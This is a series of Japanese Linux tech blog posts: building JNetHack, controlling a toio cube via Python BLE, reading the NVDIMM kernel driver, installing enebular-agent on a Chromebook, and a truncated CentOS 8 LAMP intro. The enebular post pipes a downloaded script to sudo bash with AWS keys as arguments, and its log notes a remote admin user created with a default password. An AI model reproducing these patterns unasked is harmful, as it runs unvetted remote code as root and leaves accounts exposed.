- 投稿日:2019-12-04T23:02:40+09:00
コンパイルしやすくなったJNetHack3.6.1で遊ぼう!
はじめに
最初期のコンピュータRPGの1つである「ローグ」の流れを汲み、プレイする度にダンジョンが変化するタイプのゲームの総称を「ローグライク」1と言います。
NetHack はその中でも直系と言えるキャラクタベースのシンプルな見た目のゲームですが、根強い人気があります。2
tmux のタブを一つこれ用に準備して、作業の合間に遊んだりもできますね笑英語版の NetHack 自体は各種Linuxのディストリビューションのパッケージに含まれているので簡単にインストール出来ますが、日本語版はありません。
JNetHack Project で日本語化の為のパッチを作成・配布してくださっていますので、これを使って自分でビルドしてみましょう。以前は日本語が EUC-JP で出力されるために UTF-8 ロケールのターミナルでは cocot を使ったり、一時的に文字コードの設定を変える、等の対処が必要でした。
それが、現時点(2019/12/04)の最新版である JNetHack 3.6.1-0.4 では入出力の文字コードが完全に UTF-8 になりそのままプレイできる様になりました。
また、事前にMakeFileをエディタで編集したりする手間もなくなっていて、簡単な手順のみでコンパイル可能で大分敷居が低くなったので、是非遊んでみましょう。コンパイル&実行環境について
Ubuntu 18.10 と、Windows10 の WSL1(Ubuntu 18.04.1 LTS) で試しました。Windwos10 の WSL & ターミナル環境の整備についてはこちらを参考にしてみてください。
当然Macでもコンパイル可能です。
- NetHack本体と日本語化パッチの入手
JNetHackのプロジェクトページからもダウンロード出来ますが、ここではターミナル上で
~% wget https://ja.osdn.net/dl/jnethack/jnethack-3.6.1-0.4.diff.gz ~% wget https://ja.osdn.net/dl/jnethack/nethack-361-src.tgzとする事で落として来ましょう。
コンパイル手順
- コンパイル等に必要なパッケージをあらかじめインストールしておきます。
~% sudo apt-get install build-essential bison flex libncurses5-dev gzip nkf
- ソースコードを展開し、パッチを適用して内部処理用の文字コードに変換します。
~% tar zxvf nethack-361-src.tgz ~% cd nethack-3.6.1/ ~% zcat ../jnethack-3.6.1-0.4.diff.gz | patch -p1 ~% find ./ -type f | xargs -i nkf -e -Lu --overwrite {}; ~% cd sys/unix ~% sh setup.sh hints/linux途中、多分Windows向けのファイルへのパッチ適用が失敗した旨のメッセージが出ますが、無視して大丈夫です(マズかったら教えてください)。
- コンパイル&インストール
~% make all ~% make install昔より恐ろしく手順が簡単です笑
遊んでみよう
ホームディレクトリに
nh
というディレクトリが作成されていますので~% nh/install/games/jnethackで起動します。プレイ中の画面はこんな感じです。
ようこそrattcv,NetHackの世界へ!あなたはノームの薬師だ! --------------- |.............| ------ |.............-# |$...| |..........>..|# |.....#########`## -.-----|-------## |..@.| # #### # # # ##.....| ------|----- ## ##### # # |....d### |..........| # # # # |...[| # |.......$..| # # #------ ## ------ # |.........$| -.--.----- #|.%..|## ##-..........| |........| #....$|# |..........| |.........###### |....|# ------------ |..$..<..| ###.....|# ---------- |.....# |....| ------ Rattcv 見習い 強:10 早:9 耐:14 知:9 賢:17 魅:16 中立 地下:1 $:1517 体:12(12) 魔:5(5) 鎧:8 経験:1画面上の記号の意味
ヘルプから抜粋して表にしました。
記号 説明 - と | 部屋の壁.開いたドアや墓のこともある . 床 または 出入口 # 廊下 鉄棒 または 木.流し台(もしあれば)や跳ね橋のこともある. > 次の階への階段等. < 前の階への階段等. @ ( ふつうは )プレーヤー または 別の人間. ) いろんな種類の武器. [ 服 または 鎧. % 食べもの.(腐ってないとは限らない) / 魔法の杖. = 指輪. ? 巻物. ! 水薬. ( 道具.(つるはし, 鍵, ランプ...) $ 金の塊. * 宝石 または 岩.(役に立つ場合も,無価値の場合もある) + 閉じた扉 または 呪文の本. ^ (見つけた後の) 罠. " 魔除け または 蜘蛛の巣. 0 鉄の玉. _ 祭壇 または 鉄の鎖. { 泉. } 水溜り や 塵だまり \ 豪華な王座. ` 玉石 または 彫像. A から Z, a から z, その他: 怪物 I 透明または見えていない怪物が最後にいた場所 ※あ、あとペットがいます。仔犬(d)か小猫(f)(職業によっては仔馬(u))です。
コマンドについて
自分のキャラクターは
@
で、基本の移動コマンドはVimと同じH
J
K
L
です。
他のキーボードコマンドはヘルプにも記載がありますが、中々覚えられないのでチートシートを作成してみました。
漏れがあったり分かりづらかったりするんでアップデートしていこうと思ってます。詳しい設定や遊び方
僕もまだがっつり腰を据えてプレイしたことがないのであまり解説できません笑
以下の参考サイトは結構古くからあり今の JNetHack とは異なる部分もありますが、色々参考になると思います。恐怖の迷宮への招待(NetHack ガイドブック)
猿でもできる JNetHack(通称サルネト)以下は JNetHackの魅力や遊び方について語れている記事です。
JNetHackというゲームにはまる理由 - 人生なめてるやつが成功する方法
NetHackに取り付かれた男
【Roguelike】NetHack(ネットハック)初めての歩き方【ローグライク】ではでは、あなたも是非「恐怖の迷宮」の攻略にチャレンジしてみましょう!
- 投稿日:2019-12-04T21:18:03+09:00
Pythonライブラリ bleakでWindows10/macOS/Linux上でtoioコア キューブを動かしてみる
身近にあるパソコンでtoioコア キューブを動かしてみたい
toioコア キューブはBLE通信で制御できるとてもかわいい二輪ロボットです。
https://toio.github.io/toio-spec/先日、スマホを使ってBLE通信を直につかってtoioコアキューブを動かしてみる話を書いてみましたが今回はパソコンを使ってtoioコアキューブを動かしてみます。
オフィシャルにはjavascriptおよびビジュアルプログラミングの環境が用意されています。
- ビジュアルプログラミング環境(scratch)
- JavaScriptライブラリ(node.js)
が、この記事ではpythonを使います。
ビジュアルプログラミング環境は(2019年12月10日時点で)macOS用しかリリースされていませんし、JavaScriptもnode.js、nobleのインストールが必要です。この記事の趣旨としては、身近に使えるパソコンやRaspberry Piなどをつかってサクッとtoioコアキューブを動かしたい、というものなので、インストールが比較的簡単なpythonを使う方法を紹介してみます。なお、bleakのサンプルコードがasyncioを使っているので、対応するPythonのバージョンはPython3.5以降になります。
bleakって?
Windows10/Linux/macOSで動くBLE通信Python用ライブラリです。
BLE通信用pythonライブラリはいろいろなものがありますが、Windows10、Linux(raspbian、ubuntu)、macOSの3種のOSで(ほぼ)同じように動かせるものとしてbleakを選んでみました。
その他のBLE通信pythonライブラリ
BLE直でというのはちょっとなーという場合は偉大な先人たちが作成されたtoio コアキューブ用ライブラリを使うのが良いでしょう。動作するOSなどはそれぞれの動作要件を確認してください。
- Raspberry Pi で toio コアキューブをコントロールする(2回目)~ Notifyの処理+おまけ
- Toioで遊んでみる (1)
- toio を Mac + Python で制御できるライブラリつくった
bleakのしくみ
bleakは各OSのBLE通信APIをwrapする形で実装されています。
- Windows10だと共通言語ランタイム(CLR)を使ってdllを呼び出しその中でUWP APIを呼び出して呼び出しています。
- Linuxだとbluez スタックを呼び出しています。
- macOSだとpyobjcを使ってObjective-CのCore Bluetooth APIを呼び出しています
それぞれのOSのBLE通信部を隠蔽する形でpythonライブラリ化されているので、どのOS上でも(ほぼ)同じpythonスクリプトでBLE通信をすることができるようになっています。
まー、なにはともあれやってみましょう
Windows10とmacOSにpythonをインストール
Linuxでは(だいたいは)最初からpythonが入っていますが、Windows10には入っていないので、インストールする必要があります。また、macOSはpython2.7は入っていますが、python3は入っていないのでこちらもインストールする必要があります。以下の記事が参考になります。
以下の説明ではプロンプトが「$」になっていますが、Windows10、macOS、Linuxそれぞれの環境でのプロンプトになっているものとします。動作自体はどの環境でも同じです。
bleakをインストール
- コマンドプロンプト(Windows10ならPowerShellかコマンドプロンプト(cmd.exe))、LinuxならLXterminal等、macOSならターミナルを起動)を使える状態にします。
- pipコマンドでbleakをインストールします。
$ pip install bleakしばらく待つとbleakライブラリのインストールが終わり、利用可能になります。
toioコアキューブのBLEデバイスアドレスを調べる
これはbleakのサンプルコードdiscover.pyそのまんまです。
discover.pyimport asyncio from bleak import discover async def run(): devices = await discover() for d in devices: print(d) loop = asyncio.get_event_loop() loop.run_until_complete(run())これを動かすと以下のように出力されます。
$ python3 discover.py D0:8B:7F:12:34:56: toio Core Cube B0:52:22:33:44:5A: Unknown 6E:E4:DA:12:34:55: bluetooth deviceY 63:87:F5:55:22:33: bluetooth deviceX
toio Core Cubeとあるところの6バイト16進数がデバイスアドレスになります。この値をメモしておきます。この値を後のスクリプトの中でセットします。上の実行例だと「D0:8B:7F:12:34:56」。
macOSの場合、6バイト16進数ではなく、243E23AE-4A99-406C-B317-18F1BD7B4CBEのような長いUUID文字列になります。toioコアキューブのバッテリー残量を読み取り、LEDを点灯し、モーターを回す
toioコアキューブのバッテリー残量を読み取るには、oioコアキューブに接続したあと、バッテリー(Battery Information)のキャラクタリスティック(10B20108-5B3B-4571-9508-CF3EFCD7BBAE)を読み取ります。
LEDを点灯するには、ランプ(Light Control)のキャラクタリスティック(10B20103-5B3B-4571-9508-CF3EFCD7BBAE)に書き込みます。
モーターを動かすにはモーター(Motor Control)のキャラクタリスティク(10B20102-5B3B-4571-9508-CF3EFCD7BBAE)に値を書き込みます。toioコアキューブ技術仕様書の通信仕様の「ランプ」「モーター」の例を参考に値を書き込んでみます。
read_write_sample.pyimport asyncio import platform from bleak import BleakClient # バッテリーとLEDとモーターのキャラクタリスティック BATTERY_CHARACTERISTIC_UUID = ("10b20108-5b3b-4571-9508-cf3efcd7bbae") LAMP_CHARACTERISTIC_UUID = ("10b20103-5b3b-4571-9508-cf3efcd7bbae") MOTOR_CHARACTERISTIC_UUID = ("10b20102-5b3b-4571-9508-cf3efcd7bbae") # bleakではキャラクタリスティックのUUIDは小文字で書かないとダメみたい async def run(address, loop): async with BleakClient(address, loop=loop) as client: x = await client.is_connected() #logger.info("Connected: {0}".format(x)) print("Connected: {0}".format(x)) # バッテリー残量読み取り battery = await client.read_gatt_char(BATTERY_CHARACTERISTIC_UUID) print("battery: {0}".format(int(battery[0]))) # LEDを160ミリ秒、赤に点灯 write_value = bytearray(b'\x03\x10\x01\x01\xff\x00\x00') await client.write_gatt_char(LAMP_CHARACTERISTIC_UUID, write_value) # モーター 左を前に100の速度、右を後ろに20の速度 write_value = bytearray(b'\x01\x01\x01\x64\x02\x02\x14') await client.write_gatt_char(MOTOR_CHARACTERISTIC_UUID, write_value) # 5秒後に終了 await asyncio.sleep(5.0, loop=loop) if __name__ == "__main__": address = ( # discovery.pyでみつけたtoio Core Cubeのデバイスアドレスをここにセットする "D0:8B:7F:12:34:56" # Windows か Linux のときは16進6バイトのデバイスアドレスを指定 if platform.system() != "Darwin" else "243E23AE-4A99-406C-B317-18F1BD7B4CBE" # macOSのときはmacOSのつけるUUID ) loop = asyncio.get_event_loop() loop.run_until_complete(run(address, loop))$ python read_write_sample.py Connected: True battery: 100
動かすとバッテリー残量を読み取って表示した後、LEDが赤く一瞬点灯します。
その後、toioコアキューブのやや右側を中心に時計回りに回転します。
5秒後に終了します。toioコアキューブのボタン状態や読み取りセンサーの読み取るIDを通知させる
toioコアキューブのボタン状態や読み取りセンサーの読み取るIDを通知(notify)させるにはボタン(Button Information)のキャラクタリスティック(10B20107-5B3B-4571-9508-CF3EFCD7BBAE)と、読み取りセンサー(ID Information)ののキャラクタリスティック(10B20101-5B3B-4571-9508-CF3EFCD7BBAE)の通知をうけるようにします。
これはbleakのサンプルコードenable_notifications.pyを参考に、以下のようなスクリプトを書きます。
enable_button_and_id_info_notification.pyimport asyncio import platform from bleak import BleakClient # ボタンと読み取りセンサーのキャラクタリスティック BUTTON_CHARACTERISTIC_UUID = ("10b20107-5b3b-4571-9508-cf3efcd7bbae") ID_READER_CHARACTERISTIC_UUID = ("10b20101-5b3b-4571-9508-cf3efcd7bbae") # bleakではキャラクタリスティックのUUIDは小文字で書かないとダメみたい # ボタン状態の通知ハンドラ def button_notification_handler(sender, data): print("BUTTON {0}: {1}".format(sender, data)) #読み取りセンサーの通知ハンドラ def id_reader_notification_handler(sender, data): print("toio ID {0}: {1}".format(sender, data)) async def run(address, loop): async with BleakClient(address, loop=loop) as client: x = await client.is_connected() print("Connected: {0}".format(x)) # ボタン状態の通知スタート await client.start_notify(BUTTON_CHARACTERISTIC_UUID, button_notification_handler) # 読み取りセンサーの通知スタート await client.start_notify(ID_READER_CHARACTERISTIC_UUID, id_reader_notification_handler) # 10秒後に終了 await asyncio.sleep(10.0, loop=loop) # ボタン状態、読み取りセンサーの通知終了 await client.stop_notify(BUTTON_CHARACTERISTIC_UUID) await client.stop_notify(ID_READER_CHARACTERISTIC_UUID) if __name__ == "__main__": address = ( # discovery.pyでみつけたtoio Core Cubeのデバイスアドレスをここにセットする "D0:8B:7F:12:34:56" # Windows か Linux のときは16進6バイトのデバイスアドレスを指定 if platform.system() != "Darwin" else "243E23AE-4A99-406C-B317-18F1BD7B4CBE" # macOSのときはmacOSのつけるUUID ) loop = asyncio.get_event_loop() loop.run_until_complete(run(address, loop))動かしたらtoioコアキューブを持ち上げてボタンを押してみたり、トイオコレクションのマットやステッカーの上にのせてみます。
$ python enable_button_and_id_info_notification.py Connected: True toio ID 10b20101-5b3b-4571-9508-cf3efcd7bbae: bytearray(b'\x01\xa4\x01g\x01|\x00\xaf\x01e\x01|\x00') toio ID 10b20101-5b3b-4571-9508-cf3efcd7bbae: bytearray(b'\x01\xa4\x01h\x01|\x00\xaf\x01f\x01|\x00') toio ID 10b20101-5b3b-4571-9508-cf3efcd7bbae: bytearray(b'\x01\xa4\x01g\x01|\x00\xaf\x01e\x01|\x00')逐一変わる値が通知されてくるのがわかります。
実は...
実際に動作を確認できたのはWindows10(1909)とLinux(raspbian busterで、RasPi3Bと4Bで動作確認)だけです。
すみません。自分の環境ではmacOSでbleakを動かすことはできませんでした。discovery.pyは動くのですが、それ以外がさっぱり動かなかったです。(環境はMacBookPro 13inch(early2015) macOS 10.14.6(mojave))
このmacOS環境では、Linux/macOS対応をうたうAdafruitのBLEライブラリだと動くのですが、逆にこちらはraspbian busterでは動きませんでした。(bluezのバージョン違いが原因) bluezのbackendを修正すれば動くような気がしますが、原因がつかめてないのでなんとも。さいごに
小学校や中学校のパソコン部?にもありそうな身近にあるパソコンやRaspberry Piでpythonを使ってtoioコアキューブを動かして見る方法を紹介してみました。ノートPCのようにbluetoothインタフェースが内蔵されていないPCでも、USBドングル型のBluetoothインタフェースをつければ動かすことができると思います。
node.jsとnoble、scratch-linkの導入がちょっとハードルが高いという方、またWindows10は使えるが、インストールできるアプリはストアアプリに制限されているような環境でもストアアプリのpython3はインストールできてbleakが使えるので、ぜひ試してみてください。
- 投稿日:2019-12-04T20:27:35+09:00
root/drivers/nvdimm を読んでみよう
この記事はLinux Advent Calendar 2019の7日目です。
ううう、レベル低くて申し訳ないですが、これが自分の実力ということで!!
はじめに
簡単な自己紹介
普段は、某家電メーカーで、色々低レベルなプログラムを書いています。
お仕事は、OSなしから、Linuxまででございますね…。ちょっと気になったのでNVDIMMの実装について、簡単にまとめておこうと思いました。
そもそもNVDIMMとは?
Non-volatile DIMM、つまり「不揮発なDIMM」ですね。
NVDIMM」のすゝめ が非常にわかりやすいです!
Linux Kernelでは、どんな機能を提供しているのか?
@YasunoriGoto1 さんがNVDIMMに関して非常に有責な情報をまとめております。
(書き始める前に見つけたら、この記事別のネタになっていましたね…)https://qiita.com/YasunoriGoto1/items/177c7a5b22a02d087ebf
このページでは何を説明するのか?
今回はこのコードあたりを「なんか楽しそう」なところだけつまみ食いして読んでいきます。
ブロックデバイスとして扱おう、の巻ですね。https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/drivers/nvdimm?h=linux-5.3.y
今回のまとめ
linux kernelのNVDIMM実装は、root/drivers/nvdimm だけでなく、drivers/acpi/nfit とかにも散らばっているから、
「ちょっと読んだだけで、わかるかも!」という淡い期待は捨てよう。と、いうことで、なまあたたかーい目で見ていただければ幸いでございます。
本編。
root/drivers/nvdimm の構成
最初に、Makefileに基づいて、構造を分類するとこんな感じになります。
ブロックデバイスとしてアクセスしよう!
ブロックデバイスとしてLinux kernelが認識する手順は以下の通り。
blk.cmodule_init(nd_blk_init) ⇒ nd_driver_register(&nd_blk_driver); ⇒ nd_blk_driver = { .probe = nd_blk_probe, ... } ⇒ nsblk_attach_disk(nsblk) static int nsblk_attach_disk(struct nd_namespace_blk *nsblk) struct request_queue *q; q = blk_alloc_queue(GFP_KERNEL); if (devm_add_action_or_reset(dev, nd_blk_release_queue, q)) return -ENOMEN; blk_queue_make_request(q, nd_blk_make_request); // (1) blk_queue_max_hw_sectors(q, UINT_MAX); // (2) blk_queue_logical_block_size(q, nsblk_sector_size(nsblk)); q->queuedata = nsblk; set_capacity(disk, available_disk_size >> SECTOR_SHIFT); device_add_disk(dev, disk, NULL);(1)nd_blk_make_request()
static blk_qc_t nd_blk_make_request(struct request_queue *q, struct bio *bio) の中身はこんな感じ
do_acct = nd_iostat_start(bio, &start); bio_for_each_segment(bvec, bio, iter) { err = nsblk_do_bvec(nsblk, bip, bvec.bv_page, len, bvec.bv_offset, rw, iter.bi_sector); if (do_acct) nd_iostat_end(bio, start);nd_iostat_start() と、nd_iostat_end() の中身は特に新しいことはやっていないので ( https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/drivers/nvdimm/nd.h?h=linux-5.3.y ) 説明省略し…。
ポイントはどう見てもnsblk_do_bvec()ですね!static int nsblk_do_bvec(struct nd_namespace_blk *nsblk, struct bio_integrity_payload *bip, struct page *page, unsigned int len, unsigned int off, int rw, sector_t sector) { while (len) { unsigned int cur_len; iobuf = kmap_atomic(page); err = ndbr->do_io(ndbr, dev_offset, iobuf + off, cur_len, rw); kunmap_atomic(iobuf); if (bip) { err = nd_blk_rw_integrity(nsblk, bip, lba, rw); if (err) return err; } len -= cur_len; off += cur_len; sector += sector_size >> SECTOR_SHIFT; } return err; }この、do_io はどこから?
nd_region_create() ⇒ to_blk_region_desc(ndr_desc); ⇒ ndbr->do_io = ndbr_desc->do_io;ndbr_desc->do_ioの実装を探すと…。
drivers/acpi/nfit/core.c の中に繋がってる…
そこを手繰ると、ここでようやく、blkに対するWrite/Readコマンドがメモリコピーに置き換わりました!
これで、ブロックデバイスとしてアクセスする道筋が通りました。acpi_desc->blk_do_io = acpi_nfit_blk_region_do_io; ndbr_desc->enable = acpi_nfit_blk_region_enable; ndbr_desc->do_io = acpi_desc->blk_do_io; static int acpi_nfit_blk_region_do_io(struct nd_blk_region *ndbr, resource_size_t dpa, void *iobuf, u64 len, int rw) { lane = nd_region_acquire_lane(nd_region); while (len) { u64 c = min(len, mmio->size); rc = acpi_nfit_blk_single_io(nfit_blk, dpa + copied, iobuf + copied, c, rw, lane); if (rc) break; copied += c; len -= c; } nd_region_release_lane(nd_region, lane); return rc; } static int acpi_nfit_blk_single_io(struct nfit_blk *nfit_blk, resource_size_t dpa, void *iobuf, size_t len, int rw, unsigned int lane) { write_blk_ctl(nfit_blk, lane, dpa, len, rw); while (len) { <略> if (rw) memcpy_flushcache(mmio->addr.aperture + offset, iobuf + copied, c); else { if (nfit_blk->dimm_flags & NFIT_BLK_READ_FLUSH) arch_invalidate_pmem((void __force *) mmio->addr.aperture + offset, c); memcpy(iobuf + copied, mmio->addr.aperture + offset, c); } copied += c; len -= c; } if (rw) nvdimm_flush(nfit_blk->nd_region, NULL); rc = read_blk_stat(nfit_blk, lane) ? -EIO : 0; return rc; }(2)バルクのパラメータは?
blk_queue_max_hw_sectors(q, UINT_MAX);
とあるが、これはNVDIMMが特に管理単位がないから、セクタ数上限はなしよ・・・という扱いにしているのかな?と思われる。
blk_queue_logical_block_size(q, nsblk_sector_size(nsblk));
は、容量をゲットしてサイズセットしているはずだけど…static u32 nsblk_sector_size(struct nd_namespace_blk *nsblk) { return nsblk->lbasize - nsblk_meta_size(nsblk); } nsblk->lbasize = __le64_to_cpu(nd_label->lbasize); nd_label->lbasize = __cpu_to_le64(nspm->lbasize); nspm->lbasize = __le64_to_cpu(label0->lbasize);??? よくわからなかった… パース!
ところで、NVDIMMはブロックデバイスとして扱えるの?
あれ?block_device_operationsが…
blk.cstatic const struct block_device_operations nd_blk_fops = { .owner = THIS_MODULE, .revalidate_disk = nvdimm_revalidate_disk, };これだとアクセスできない?ということで、もうちょっと読んでみる。
どこからアクセスできそうかな?
blk.cstatic int nd_blk_probe(struct device *dev) { struct nd_namespace_common *ndns; struct nd_namespace_blk *nsblk; ndns = nvdimm_namespace_common_probe(dev); if (IS_ERR(ndns)) return PTR_ERR(ndns); nsblk = to_nd_namespace_blk(&ndns->dev); nsblk->size = nvdimm_namespace_capacity(ndns); dev_set_drvdata(dev, nsblk); ndns->rw_bytes = nsblk_rw_bytes; if (is_nd_btt(dev)) return nvdimm_namespace_attach_btt(ndns); else if (nd_btt_probe(dev, ndns) == 0) { /* we'll come back as btt-blk */ return -ENXIO; } else return nsblk_attach_disk(nsblk); }fops->rw_pageが生えた!
btt.cint nvdimm_namespace_attach_btt(struct nd_namespace_common *ndns) { struct nd_btt *nd_btt = to_nd_btt(ndns->claim); struct nd_region *nd_region; struct btt_sb *btt_sb; struct btt *btt; size_t rawsize; <略> nd_region = to_nd_region(nd_btt->dev.parent); btt = btt_init(nd_btt, rawsize, nd_btt->lbasize, nd_btt->uuid, nd_region); if (!btt) return -ENOMEM; nd_btt->btt = btt; return 0; } static struct btt *btt_init(struct nd_btt *nd_btt, unsigned long long rawsize, u32 lbasize, u8 *uuid, struct nd_region *nd_region) { <略> ret = btt_blk_init(btt); if (ret) { dev_err(dev, "init: error in blk_init: %d\n", ret); return NULL; } btt_debugfs_init(btt); return btt; } static const struct block_device_operations btt_fops = { .owner = THIS_MODULE, .rw_page = btt_rw_page, .getgeo = btt_getgeo, .revalidate_disk = nvdimm_revalidate_disk, }; static int btt_blk_init(struct btt *btt) { struct nd_btt *nd_btt = btt->nd_btt; struct nd_namespace_common *ndns = nd_btt->ndns; <略> nvdimm_namespace_disk_name(ndns, btt->btt_disk->disk_name); btt->btt_disk->first_minor = 0; btt->btt_disk->fops = &btt_fops; btt->btt_disk->private_data = btt; btt->btt_disk->queue = btt->btt_queue; btt->btt_disk->flags = GENHD_FL_EXT_DEVT; btt->btt_disk->queue->backing_dev_info->capabilities |= BDI_CAP_SYNCHRONOUS_IO; <略> }fops->rw_pageから、さっきのnsblk_rw_bytesに繋がった!
btt.cstatic int btt_rw_page(struct block_device *bdev, sector_t sector, struct page *page, unsigned int op) { struct btt *btt = bdev->bd_disk->private_data; int rc; unsigned int len; len = hpage_nr_pages(page) * PAGE_SIZE; rc = btt_do_bvec(btt, NULL, page, len, 0, op, sector); if (rc == 0) page_endio(page, op_is_write(op), 0); return rc; } static int btt_do_bvec(struct btt *btt, struct bio_integrity_payload *bip, struct page *page, unsigned int len, unsigned int off, unsigned int op, sector_t sector) { int ret; if (!op_is_write(op)) { ret = btt_read_pg(btt, bip, page, off, sector, len); flush_dcache_page(page); } else { flush_dcache_page(page); ret = btt_write_pg(btt, bip, sector, page, off, len); } return ret; } static int btt_read_pg(struct btt *btt, struct bio_integrity_payload *bip, struct page *page, unsigned int off, sector_t sector, unsigned int len) { int ret = 0; int t_flag, e_flag; struct arena_info *arena = NULL; u32 lane = 0, premap, postmap; while (len) { <略> ret = btt_map_read(arena, premap, &postmap, &t_flag, &e_flag, NVDIMM_IO_ATOMIC); if (ret) goto out_lane; <略> } static int btt_map_read(struct arena_info *arena, u32 lba, u32 *mapping, int *trim, int *error, unsigned long rwb_flags) { <略> ret = arena_read_bytes(arena, ns_off, &in, MAP_ENT_SIZE, rwb_flags); <略> } static int arena_read_bytes(struct arena_info *arena, resource_size_t offset, void *buf, size_t n, unsigned long flags) { struct nd_btt *nd_btt = arena->nd_btt; struct nd_namespace_common *ndns = nd_btt->ndns; /* arena offsets may be shifted from the base of the device */ offset = adjust_initial_offset(nd_btt, offset); return nvdimm_read_bytes(ndns, offset, buf, n, flags); }include/nd.h/** * nvdimm_read_bytes() - synchronously read bytes from an nvdimm namespace * @ndns: device to read * @offset: namespace-relative starting offset * @buf: buffer to fill * @size: transfer length * * @buf is up-to-date upon return from this routine. */ static inline int nvdimm_read_bytes(struct nd_namespace_common *ndns, resource_size_t offset, void *buf, size_t size, unsigned long flags) { return ndns->rw_bytes(ndns, offset, buf, size, READ, flags); }
ndns->rw_bytes = nsblk_rw_bytes;
なので…blk.cstatic int nsblk_rw_bytes(struct nd_namespace_common *ndns, resource_size_t offset, void *iobuf, size_t n, int rw, unsigned long flags) { struct nd_namespace_blk *nsblk = to_nd_namespace_blk(&ndns->dev); struct nd_blk_region *ndbr = to_ndbr(nsblk); resource_size_t dev_offset; dev_offset = to_dev_offset(nsblk, offset, n); if (unlikely(offset + n > nsblk->size)) { dev_WARN_ONCE(&ndns->dev, 1, "request out of range\n"); return -EFAULT; } if (dev_offset == SIZE_MAX) return -EIO; return ndbr->do_io(ndbr, dev_offset, iobuf, n, rw); }あとはさっきの説明の、メモリアクセスまでのパスと同じ。
まとめ
linux kernelのNVDIMM実装は、root/drivers/nvdimm だけでなく、drivers/acpi/nfit とかにも散らばっているから、
「ちょっと読んだだけで、わかるかも!」という淡い期待は捨てよう、です。
- 投稿日:2019-12-04T19:27:33+09:00
Chrome bookにenebular-agentをインストール
いつのまにかChrome bookでLinux(ベータ版)が使える様になっていたのに気付きました。
Chrome bookは軽量でバッテリー持ちが良いので、ブラウザで事が済むGoogle系のサービスを使うときやMbed、micro:bitの開発で良く使っています。
enebularがサポートするデバイス向けのagent softwareとして、Linuxマシンで動作するenebular-agentがChrome bookで動作するか試してみました。
※個人的な実験の為、正式にサポートを宣言するものではありません。使用したChrome book:ASUS C101P
Linuxのディストリビューションを調べる
以下の様に出ました。
***@penguin:/$ cat /etc/issue Debian GNU/Linux 9 \n \l ***@penguin:/$ cat /etc/debian_version 9.9enebular-agentが対応しているLinuxを確認すると
Debian GNU/Linux 9 Stretch
とあるので問題無いと思います。enebular-agentをインストール
enebular-agentのインストール方法を確認して、インストールしてみます。インストールにはAWSのアカウントもしくはPelionのデバイスバンドルが必要になります。今回はAWSでやってみました。
nodejsやnodeRED等必要なものは自動的にインストールされるので、wgetやapt-getが使えればOKです。Chrome bookのLinuxの場合はそのまま、インストールコマンドだけでOKでした。インストールコマンド
wget -qO- https://enebular.com/agent-install | sudo -E bash -s -- --aws-iot-thing-name=*** --aws-access-key-id=*** --aws-secret-access-key=*** --aws-iot-region=***(***部分はお持ちのアカウントのものをセットしてください)
待つこと数分、無事インストールできました。
インストールログ(内緒の部分は伏せてます)
========================================================================================================================== enebular-agent installation: - Device name: penguin - System: Linux 4.19.60-06185-g54aa50936831 aarch64 GNU/Linux - Install user: enebular - Install destination: /home/enebular/enebular-runtime-agent - Agent port: awsiot - Agent version: latest-release ========================================================================================================================== ==== Fetching updater version info ==== % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 27 100 27 0 0 33 0 --:--:-- --:--:-- --:--:-- 33 OK ==== Downloading updater version 2.9.0 ==== % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1482k 100 1482k 0 0 511k 0 0:00:02 0:00:02 --:--:-- 511k OK ==== Installing enebular-agent-updater to /tmp/enebular-agent-updater.dwHoIVYIl ==== OK ==== Checking node.js version ==== OK ==== Checking existing node.js v9.2.1 installation ==== OK ==== Downloading https://nodejs.org/dist/v9.2.1/node-v9.2.1-linux-arm64.tar.gz ==== % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 16.8M 100 16.8M 0 0 2892k 0 0:00:05 0:00:05 --:--:-- 3797k OK ==== Checking integrity ==== % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 3671 0 3671 0 0 4437 0 --:--:-- --:--:-- --:--:-- 4438 OK ==== Installing Node.js v9.2.1 to /home/enebular/nodejs-v9.2.1 ==== OK ==== Fetching enebular-agent ==== OK ==== Extracting enebular-agent ==== OK ==== Updating system package lists ==== OK ==== Install Debian dependencies ==== dpkg-query: no packages found matching build-essential dpkg-query: no packages found matching python OK ==== Building agent 2.9.0 ==== OK ==== Building Node-RED ==== OK ==== Building awsiot port ==== OK ==== Building awsiot-thing-creator ==== OK ==== Install Debian dependencies ==== OK ==== Creating Remote Maintenance User ==== Creating enebular-remote-admin using default password OK ==== Applying file permissions ==== OK ==== Creating AWS IoT thing ==== OK ==== Registering startup service ==== OK ========================================================================================================================== enebular-agent has been successfully installed ✔ - Version: 2.9.0 - Location: /home/enebular/enebular-runtime-agent - User: enebular - Service name: enebular-agent-enebular AWS IoT Thing {thing name} has been created. enebular-agent is running as a system service. To check the status of agent, run the following command on the target device: sudo journalctl -ex -u enebular-agent-enebular.service ========================================================================================================================== See details in full install log file: /tmp/enebular-agent-install-log.GGU8Sfenebularからフローのデプロイ
enebularからフローがデプロイできるか試してみました。enebularからデバイスにデプロイするにはConnectionの作成が必要です。
簡単なフローを作り、デプロイしてみます。
今後
実験はしてみましたが、特に何に使おうとは考えていませんでしたw
とりあえずChrome bookでnodeREDをささっとインストールする場合は楽かもしれませんね。
今後、Chrome bookの機能が扱えるノードを使った何かができればいいかなと思ってます。センサー等を繋げる場合はRaspberry-piの方が良いと思うので、ディスプレイやタッチパネルが簡単に使えるChrome bookならでは何かができれば面白いですね。
- 投稿日:2019-12-04T17:12:47+09:00
CentOS8 LAMP構築
環境
CentOS Linux release 8.0.1905 (Core)
Minimal installにgcc関係・vim・gitくらい入れたものweb
